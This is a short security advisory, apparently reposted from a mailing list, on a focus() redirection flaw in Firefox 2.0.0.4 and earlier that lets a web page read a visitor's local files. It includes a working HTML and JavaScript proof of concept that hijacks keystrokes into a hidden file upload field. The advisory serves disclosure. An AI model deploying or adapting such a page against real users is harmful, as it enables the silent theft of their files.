[NEWS] Mozilla Firefox focus() Redirection Vulnerability

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Mozilla Firefox focus() Redirection Vulnerability
------------------------------------------------------------------------


SUMMARY

A vulnerability in Mozilla Firefox allows the attacker to silently
redirect focus of selected key press events to an otherwise protected file
upload form field. This is possible because of how onKeyDown event is
handled, allowing the focus to be moved between the two. This enables the
attacker to read arbitrary files on victim's system.

DETAILS

Vulnerable Systems:
* Mozilla Firefox version 2.0.0.4 and prior

Exploit:
<html>
<body>
<script>
function restore()
{

document.getElementById("text1").value=document.getElementById("file1").value;
document.getElementById("text1").focus();
}

function doKeyDown()
{
document.getElementById("label1").focus();
}
</script>

<input type="file" id="file1" name="file1" onkeydown="restore();"
onkeyup="restore()" />
<label for="file1" id="label1" name="label1"></label>
<br>
<textarea name="text1" id="text1" onkeydown="doKeyDown()">
</textarea>
</body>
</html>


ADDITIONAL INFORMATION

The information has been provided by <mailto:hardwick.carl@xxxxxxxxx>
carl hardwick.
The original article can be found at:
<http://yathong.googlepages.com/FirefoxFocusBug.html>
http://yathong.googlepages.com/FirefoxFocusBug.html



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